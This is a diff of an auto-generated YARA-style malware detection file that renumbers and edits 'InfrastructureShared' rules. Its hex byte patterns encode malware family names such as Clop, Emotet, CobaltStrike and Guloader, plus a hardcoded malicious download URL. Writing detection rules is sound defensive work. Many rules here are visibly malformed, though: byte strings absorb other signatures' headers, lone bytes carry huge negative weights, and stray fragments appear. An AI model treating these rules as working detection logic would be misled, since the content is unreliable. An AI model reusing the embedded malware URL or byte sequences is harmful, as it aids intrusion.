_InfrastructureShared_11535{ ((#a_46_0 & 1)*16675+(#a_fe_1 & 1)*769+(#a_46_2 & 1)*-32752+(#a_73_3 & 1)*17005+(#a_00_4 & 1)*21581) >=18 } -rule _InfrastructureShared_11536{ +rule _InfrastructureShared_12289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -127187,7 +135629,7 @@ rule _InfrastructureShared_11536{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*384+(#a_72_2 & 1)*25936+(#a_00_4 & 1)*114) >=18 } -rule _InfrastructureShared_11537{ +rule _InfrastructureShared_12290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 03 00 21 " @@ -127199,20 +135641,33 @@ rule _InfrastructureShared_11537{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*102+(#a_62_2 & 1)*25934) >=30 } -rule _InfrastructureShared_11538{ +rule _InfrastructureShared_12291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,29 00 29 00 04 00 21 " strings : $a_46_0 = {48 53 54 52 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 57 69 6e 33 32 2f 4e 65 6f 62 61 72 2e 46 00 14 00 17 01 4b 6f 6d 70 65 78 53 51 4c 69 74 65 57 72 61 70 70 65 72 2e 64 6c 6c 14 00 0c 01 43 68 72 6f 6d 69 75 6d 2e } //16675 - $a_01_1 = {00 24 01 8b 4d ec 8b 0c 01 8b 75 c4 33 0c 16 83 c2 04 89 08 83 fa 1c 72 02 33 d2 83 c0 04 ff 4d f0 75 e0 8b 0b 6a 04 01 00 1d 01 8b 34 0a 8b 7d b8 33 34 07 83 c0 04 89 31 83 f8 1c 72 02 33 c0 83 c1 04 ff 4d ec 75 e3 00 00 78 a7 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 43 6c 6f 70 2e } //27748 - $a_4d_2 = {42 00 01 00 7c 03 0f b7 c0 c1 c1 07 8d 52 02 0f b7 c0 33 c8 0f b7 02 66 85 c0 75 ed 81 f9 96 52 50 } //16720 - $a_90_3 = {02 00 00 0f 84 90 01 02 00 00 81 f9 cf 60 4c 40 0f 87 90 01 02 00 00 0f 84 90 01 02 00 00 81 f9 06 41 4c 10 77 90 01 01 0f 84 90 01 02 00 00 81 f9 d9 22 56 0a 77 90 01 01 0f 84 90 01 02 00 00 81 f9 56 0e 54 04 0f 84 90 01 02 00 00 81 f9 08 1b 42 06 0f 85 90 01 02 00 00 90 00 00 00 78 a7 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 45 6e 74 53 2e 53 49 42 4b 21 4d } //3958 + $a_01_1 = {00 24 01 8b 4d ec 8b 0c 01 8b 75 c4 33 0c 16 83 c2 04 89 08 83 fa 1c 72 02 33 d2 83 c0 04 ff 4d f0 75 e0 8b 0b 6a 04 01 00 1d 01 8b 34 0a 8b 7d b8 33 34 07 83 c0 04 89 31 83 f8 1c 72 02 33 c0 83 c1 04 ff 4d ec 75 e3 00 00 78 a6 00 00 65 00 65 00 05 00 21 23 53 4c 46 3a 41 54 54 52 49 42 55 54 45 3a 48 53 54 52 3a 54 72 6f } //27748 + $a_3a_2 = {69 6e 36 34 2f 56 61 6c 6c 65 79 53 75 6e 73 65 74 2e 42 42 00 64 00 10 03 e8 00 00 00 90 90 04 00 00 90 09 02 00 c7 90 00 01 00 12 03 80 a1 00 00 90 09 06 00 c7 90 01 01 ec 00 00 00 90 00 01 00 12 03 e0 b2 00 00 90 09 06 00 c7 90 01 01 ec 00 00 00 90 00 01 00 12 03 c0 e3 00 00 90 09 06 00 c7 90 01 01 ec 00 00 00 90 00 01 00 12 } //24938 + $a_00_3 = {00 90 09 06 00 c7 90 01 01 ec 00 00 00 90 00 00 00 78 a7 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 43 6c 6f 70 2e 50 41 21 4d 54 42 00 01 00 7c 03 0f b7 c0 c1 c1 07 8d 52 02 0f b7 c0 33 c8 0f b7 02 66 85 c0 75 ed 81 f9 96 52 50 76 0f 87 90 01 02 00 00 0f 84 90 01 02 00 00 81 f9 cf 60 4c 40 0f 87 90 01 02 00 00 0f 84 90 01 02 00 00 81 f9 06 41 4c 10 77 90 01 01 0f 84 90 01 02 00 00 81 f9 d9 22 56 0a 77 90 01 01 0f 84 90 01 02 00 00 81 f9 56 0e 54 04 0f 84 90 01 02 00 00 81 f9 08 1b 42 06 0f 85 90 01 02 00 00 90 00 00 00 78 a7 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f } //-16381 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27748+(#a_4d_2 & 1)*16720+(#a_90_3 & 1)*3958) >=41 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27748+(#a_3a_2 & 1)*24938+(#a_00_3 & 1)*-16381) >=41 } -rule _InfrastructureShared_11539{ +rule _InfrastructureShared_12292{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,65 00 65 00 05 00 21 " + + strings : + $a_46_0 = {41 54 54 52 49 42 55 54 45 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 61 6c 6c 65 79 53 75 6e 73 65 74 2e 42 42 00 64 00 10 03 e8 00 00 00 90 90 04 00 00 90 09 02 00 c7 90 00 01 00 12 03 80 a1 00 00 90 09 06 00 } //21283 + $a_01_1 = {ec } //-28473 + $a_03_3 = {e0 b2 00 00 90 09 06 00 c7 ?? ec 00 00 00 } //1 + $a_03_4 = {c0 e3 00 00 90 09 06 00 c7 ?? ec 00 00 00 } //1 + condition: + ((#a_46_0 & 1)*21283+(#a_01_1 & 1)*-28473+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=101 + +} +rule _InfrastructureShared_12293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127222,7 +135677,7 @@ rule _InfrastructureShared_11539{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11540{ +rule _InfrastructureShared_12294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127232,7 +135687,7 @@ rule _InfrastructureShared_11540{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11541{ +rule _InfrastructureShared_12295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127242,7 +135697,7 @@ rule _InfrastructureShared_11541{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11542{ +rule _InfrastructureShared_12296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127252,7 +135707,7 @@ rule _InfrastructureShared_11542{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11543{ +rule _InfrastructureShared_12297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127262,7 +135717,7 @@ rule _InfrastructureShared_11543{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11544{ +rule _InfrastructureShared_12298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127272,7 +135727,7 @@ rule _InfrastructureShared_11544{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_11545{ +rule _InfrastructureShared_12299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127282,7 +135737,7 @@ rule _InfrastructureShared_11545{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11546{ +rule _InfrastructureShared_12300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127292,7 +135747,7 @@ rule _InfrastructureShared_11546{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11547{ +rule _InfrastructureShared_12301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127302,7 +135757,7 @@ rule _InfrastructureShared_11547{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11548{ +rule _InfrastructureShared_12302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127312,7 +135767,7 @@ rule _InfrastructureShared_11548{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11549{ +rule _InfrastructureShared_12303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127322,7 +135777,7 @@ rule _InfrastructureShared_11549{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11550{ +rule _InfrastructureShared_12304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -127332,7 +135787,7 @@ rule _InfrastructureShared_11550{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11551{ +rule _InfrastructureShared_12305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -127342,7 +135797,7 @@ rule _InfrastructureShared_11551{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_11552{ +rule _InfrastructureShared_12306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -127353,7 +135808,7 @@ rule _InfrastructureShared_11552{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762) >=1 } -rule _InfrastructureShared_11553{ +rule _InfrastructureShared_12307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -127363,7 +135818,7 @@ rule _InfrastructureShared_11553{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_11554{ +rule _InfrastructureShared_12308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -127374,7 +135829,7 @@ rule _InfrastructureShared_11554{ ((#a_4c_0 & 1)*21539+(#a_75_1 & 1)*16732) >=1 } -rule _InfrastructureShared_11555{ +rule _InfrastructureShared_12309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -127386,7 +135841,7 @@ rule _InfrastructureShared_11555{ ((#a_5f_0 & 1)*25635+(#a_ff_1 & 1)*-26812+(#a_01_2 & 1)*-6057) >=1 } -rule _InfrastructureShared_11556{ +rule _InfrastructureShared_12310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 05 00 21 " @@ -127400,7 +135855,7 @@ rule _InfrastructureShared_11556{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_a7_4 & 1)*0) >=1 } -rule _InfrastructureShared_11557{ +rule _InfrastructureShared_12311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -127411,7 +135866,7 @@ rule _InfrastructureShared_11557{ ((#a_46_0 & 1)*16675+(#a_7c_1 & 1)*4098) >=2 } -rule _InfrastructureShared_11558{ +rule _InfrastructureShared_12312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -127422,7 +135877,7 @@ rule _InfrastructureShared_11558{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*2448) >=2 } -rule _InfrastructureShared_11559{ +rule _InfrastructureShared_12313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -127433,7 +135888,7 @@ rule _InfrastructureShared_11559{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*-28580) >=2 } -rule _InfrastructureShared_11560{ +rule _InfrastructureShared_12314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -127443,7 +135898,7 @@ rule _InfrastructureShared_11560{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_11561{ +rule _InfrastructureShared_12315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -127454,7 +135909,7 @@ rule _InfrastructureShared_11561{ ((#a_54_0 & 1)*18467+(#a_0b_1 & 1)*2577) >=2 } -rule _InfrastructureShared_11562{ +rule _InfrastructureShared_12316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -127465,7 +135920,7 @@ rule _InfrastructureShared_11562{ ((#a_4c_0 & 1)*21539+(#a_0a_1 & 1)*-28672) >=2 } -rule _InfrastructureShared_11563{ +rule _InfrastructureShared_12317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -127476,7 +135931,7 @@ rule _InfrastructureShared_11563{ ((#a_4c_0 & 1)*21539+(#a_8c_1 & 1)*19456) >=2 } -rule _InfrastructureShared_11564{ +rule _InfrastructureShared_12318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -127487,29 +135942,20 @@ rule _InfrastructureShared_11564{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*400) >=2 } -rule _InfrastructureShared_11565{ +rule _InfrastructureShared_12319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_6c_0 = {77 4c 69 73 74 3a 49 63 65 42 72 65 61 6b 65 72 00 01 00 0a 01 69 63 65 5f 69 6e 69 74 00 00 01 00 0f 01 49 43 45 42 72 65 61 6b 65 72 2e 64 6c 6c 00 01 00 36 01 41 00 64 00 76 00 65 00 72 00 73 00 61 00 72 00 79 00 20 00 45 00 6d 00 75 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 20 00 54 00 6f 00 6f 00 6c 00 6b 00 69 00 74 00 } //16675 $a_03_1 = {64 61 74 61 [0-08] 6e 61 6d 65 [0-08] 66 77 6b 69 64 [0-08] 64 65 70 73 [0-08] 69 63 65 5f 69 6e 69 74 00 00 } //2 - $a_a7_2 = {00 03 00 03 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 41 67 65 6e 74 2e 43 41 5a 21 4d 54 42 00 03 00 78 03 72 2f 02 00 70 02 7b 0e 00 00 04 28 90 01 03 0a 0a 00 00 73 6d 00 00 0a 0b 00 73 6e 00 00 0a 0c 03 28 90 01 03 0a 0d 09 73 70 00 00 0a 13 04 11 04 6f 90 01 03 0a 72 83 02 00 70 28 90 01 03 0a 6f 90 01 03 0a 00 08 11 04 72 } //0 + $a_a7_2 = {00 03 00 03 00 03 00 21 23 41 4c 46 3a 48 53 54 52 3a 57 69 6e 36 34 2f 4c 75 69 6e 77 61 68 2e 41 00 02 00 34 03 49 8b fe 49 3b c4 48 0f 4c f8 49 8b de 49 3b cd 48 0f 4c d9 90 01 08 30 06 90 01 08 e8 90 01 04 30 06 48 8d 47 01 48 8d 4b 01 48 8d 76 01 49 83 ef 01 90 00 01 00 16 00 5c 00 61 00 30 00 31 00 5c 00 5f 00 77 00 6f 00 72 00 6b 00 5c 00 01 00 2e 00 } //0 + $a_00_3 = {73 00 74 00 61 00 72 00 74 00 42 00 79 00 52 00 65 00 73 00 74 00 61 00 72 00 74 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 00 00 78 a7 00 00 03 00 03 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 57 69 6e 33 32 2f 51 75 69 63 6b 4f 70 74 69 6d 69 7a 65 72 50 72 6f 00 01 00 1e 01 71 75 69 63 6b } //82 condition: - ((#a_6c_0 & 1)*16675+(#a_03_1 & 1)*2+(#a_a7_2 & 1)*0) >=2 + ((#a_6c_0 & 1)*16675+(#a_03_1 & 1)*2+(#a_a7_2 & 1)*0+(#a_00_3 & 1)*82) >=2 } -rule _InfrastructureShared_11566{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 01 00 21 " - - strings : - $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 41 67 65 6e 74 2e 43 41 5a 21 4d 54 42 00 03 00 78 03 72 2f 02 00 70 02 7b 0e 00 00 04 28 90 01 03 0a 0a 00 00 73 6d 00 00 0a 0b 00 73 6e 00 00 0a 0c 03 28 90 01 03 0a 0d 09 73 70 00 } //16675 - condition: - ((#a_46_0 & 1)*16675) >=3 - -} -rule _InfrastructureShared_11567{ +rule _InfrastructureShared_12320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -127520,7 +135966,7 @@ rule _InfrastructureShared_11567{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*92) >=3 } -rule _InfrastructureShared_11568{ +rule _InfrastructureShared_12321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -127532,7 +135978,7 @@ rule _InfrastructureShared_11568{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*20291+(#a_50_2 & 1)*24903) >=3 } -rule _InfrastructureShared_11569{ +rule _InfrastructureShared_12322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -127544,7 +135990,7 @@ rule _InfrastructureShared_11569{ ((#a_77_0 & 1)*16675+(#a_69_1 & 1)*9843+(#a_65_2 & 1)*11825) >=3 } -rule _InfrastructureShared_11570{ +rule _InfrastructureShared_12323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -127556,7 +136002,7 @@ rule _InfrastructureShared_11570{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28783+(#a_42_2 & 1)*19745) >=3 } -rule _InfrastructureShared_11571{ +rule _InfrastructureShared_12324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -127568,7 +136014,7 @@ rule _InfrastructureShared_11571{ ((#a_4c_0 & 1)*21539+(#a_48_1 & 1)*6656+(#a_48_2 & 1)*17803) >=3 } -rule _InfrastructureShared_11572{ +rule _InfrastructureShared_12325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -127581,7 +136027,7 @@ rule _InfrastructureShared_11572{ ((#a_54_0 & 1)*18467+(#a_50_1 & 1)*25934+(#a_00_2 & 1)*97+(#a_5d_3 & 1)*23297) >=3 } -rule _InfrastructureShared_11573{ +rule _InfrastructureShared_12326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -127595,7 +136041,7 @@ rule _InfrastructureShared_11573{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*17184+(#a_53_2 & 1)*8993+(#a_52_3 & 1)*29537+(#a_42_4 & 1)*29285) >=3 } -rule _InfrastructureShared_11574{ +rule _InfrastructureShared_12327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -127608,7 +136054,7 @@ rule _InfrastructureShared_11574{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*3584+(#a_63_2 & 1)*26691+(#a_00_4 & 1)*118) >=3 } -rule _InfrastructureShared_11575{ +rule _InfrastructureShared_12328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -127622,7 +136068,7 @@ rule _InfrastructureShared_11575{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*95+(#a_72_2 & 1)*28500+(#a_61_3 & 1)*25964+(#a_65_4 & 1)*28758) >=3 } -rule _InfrastructureShared_11576{ +rule _InfrastructureShared_12329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -127636,7 +136082,7 @@ rule _InfrastructureShared_11576{ ((#a_41_0 & 1)*20515+(#a_01_1 & 1)*30821+(#a_2f_2 & 1)*13166+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=3 } -rule _InfrastructureShared_11577{ +rule _InfrastructureShared_12330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -127645,26 +136091,36 @@ rule _InfrastructureShared_11577{ $a_6e_1 = {00 01 00 0b 01 76 51 59 39 21 6b 6d 47 24 63 00 01 00 0b 01 79 64 32 72 5e 50 48 33 74 51 00 02 00 1e 01 0f b6 d2 03 d1 81 e2 ff 00 00 00 0f b6 0c 02 8b 55 08 30 0c 32 42 89 55 08 3b 55 f8 72 c5 00 00 78 a7 00 00 04 00 02 00 04 00 21 23 } //19019 $a_52_2 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 75 73 6b 79 2e 51 21 31 00 02 00 1d 01 68 74 74 70 3a 2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 4e 4c 32 2f 3f 77 3d 02 00 1a 01 68 74 74 70 3a 2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 43 46 } //21320 $a_00_3 = {21 03 } //12108 ̡ - $a_70_4 = {2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 4b 2f 46 90 02 01 3f 61 3d 90 00 02 00 19 01 68 74 74 70 3a 2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 45 58 2f 00 00 78 a7 00 00 04 00 04 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 44 43 4f 21 4d 54 42 00 02 00 2c 81 01 4c 6f 61 64 52 65 73 6f } //29800 - $a_65_5 = {00 89 00 46 69 6e 64 52 65 73 6f 75 72 63 65 41 00 a3 01 4c 6f 63 6b 52 65 73 6f 75 72 63 65 01 00 3a 01 7c 00 45 00 72 00 69 00 36 00 6f 00 24 00 2a 00 58 00 4a 00 59 00 30 00 71 00 52 00 54 00 6a 00 5a 00 72 00 47 00 4c 00 45 00 5a 00 6f 00 7e 00 51 00 53 00 32 00 4d 00 47 00 01 00 0a 01 4f 00 } //29301 + $a_70_4 = {2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 4b 2f 46 90 02 01 3f 61 3d 90 00 02 00 19 01 68 74 74 70 3a 2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 45 58 2f 00 00 78 a7 00 00 04 00 04 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 54 42 4b 21 4d 54 42 00 02 00 38 03 eb 2c 8b } //29800 + $a_04_5 = {0f } //-28539 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*19019+(#a_52_2 & 1)*21320+(#a_00_3 & 1)*12108+(#a_70_4 & 1)*29800+(#a_65_5 & 1)*29301) >=3 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*19019+(#a_52_2 & 1)*21320+(#a_00_3 & 1)*12108+(#a_70_4 & 1)*29800+(#a_04_5 & 1)*-28539) >=3 } -rule _InfrastructureShared_11578{ +rule _InfrastructureShared_12331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 02 00 04 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 75 73 6b 79 2e 51 21 31 00 02 00 1d 01 68 74 74 70 3a 2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 4e 4c 32 2f 3f 77 3d 02 00 1a 01 68 74 74 70 3a 2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f } //18467 - $a_2f_1 = {00 21 03 68 74 74 70 3a 2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 4b 2f 46 90 02 01 3f 61 3d 90 00 02 00 19 01 68 74 74 70 3a 2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 45 58 2f 00 00 78 a7 00 00 04 00 04 00 03 } //17987 - $a_41_2 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 2e 44 43 4f 21 4d 54 42 00 02 00 2c 81 01 } //8448 - $a_64_3 = {65 73 6f 75 72 63 65 00 00 89 00 46 69 6e 64 52 65 73 6f 75 72 63 65 41 00 a3 01 4c 6f 63 6b 52 65 73 6f 75 72 63 65 01 00 3a 01 7c 00 45 00 72 00 69 00 36 00 6f 00 24 00 2a 00 58 00 4a 00 59 00 30 00 71 00 52 00 54 00 6a 00 5a 00 72 00 47 00 4c 00 45 00 5a 00 6f 00 7e 00 51 00 53 00 32 00 } //28492 + $a_2f_1 = {00 21 03 68 74 74 70 3a 2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 4b 2f 46 90 02 01 3f 61 3d 90 00 02 00 19 01 68 74 74 70 3a 2f 2f 36 33 2e 32 31 39 2e 31 37 38 2e 31 36 32 2f 45 58 2f 00 00 78 a7 00 00 04 00 04 00 02 } //17987 + $a_54_2 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 54 42 4b 21 4d 54 42 } //8448 L:Trojan:Win64/CobaltStrike.TBK!MTB condition: - ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*17987+(#a_41_2 & 1)*8448+(#a_64_3 & 1)*28492) >=2 + ((#a_54_0 & 1)*18467+(#a_2f_1 & 1)*17987+(#a_54_2 & 1)*8448) >=2 } -rule _InfrastructureShared_11579{ +rule _InfrastructureShared_12332{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 43 6f 62 61 6c 74 53 74 72 69 6b 65 2e 54 42 4b 21 4d 54 42 00 02 00 38 03 eb 2c 8b 85 90 01 04 0f b6 8c 05 a0 01 00 00 48 8b 95 90 01 04 8b 85 90 01 04 88 0c 02 83 85 } //21539 + $a_01_1 = {83 85 90 01 } //400 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*400) >=4 + +} +rule _InfrastructureShared_12333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -127675,7 +136131,7 @@ rule _InfrastructureShared_11579{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*124) >=4 } -rule _InfrastructureShared_11580{ +rule _InfrastructureShared_12334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -127687,7 +136143,7 @@ rule _InfrastructureShared_11580{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*80+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_11581{ +rule _InfrastructureShared_12335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -127698,7 +136154,20 @@ rule _InfrastructureShared_11581{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*271) >=4 } -rule _InfrastructureShared_11582{ +rule _InfrastructureShared_12336{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4a 41 41 36 30 31 21 4d 54 42 00 01 00 1c 81 01 63 61 6e 74 61 6c 61 73 20 61 6c 62 79 6c 65 72 73 20 74 69 6c 6c 61 64 65 6c 69 67 01 00 10 81 01 66 6f 72 6d 69 64 64 61 67 73 6b 61 66 66 65 73 01 00 } //18467 + $a_66_1 = {6c } //-32480 l + $a_69_2 = {20 6e 6f 6e 64 65 78 74 72 6f 75 73 20 74 61 66 66 65 6c 6e 64 65 72 73 01 00 1e 81 01 74 72 6f 6c 6a 65 72 73 20 73 65 6c 76 76 61 6c 67 20 6b 69 72 6b 65 74 65 6d 70 65 6c 73 00 00 78 a7 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 42 46 31 32 33 21 4d 54 42 00 01 00 } //29540 + $a_70_3 = {67 } //-32479 g + condition: + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*-32480+(#a_69_2 & 1)*29540+(#a_70_3 & 1)*-32479) >=4 + +} +rule _InfrastructureShared_12337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -127711,7 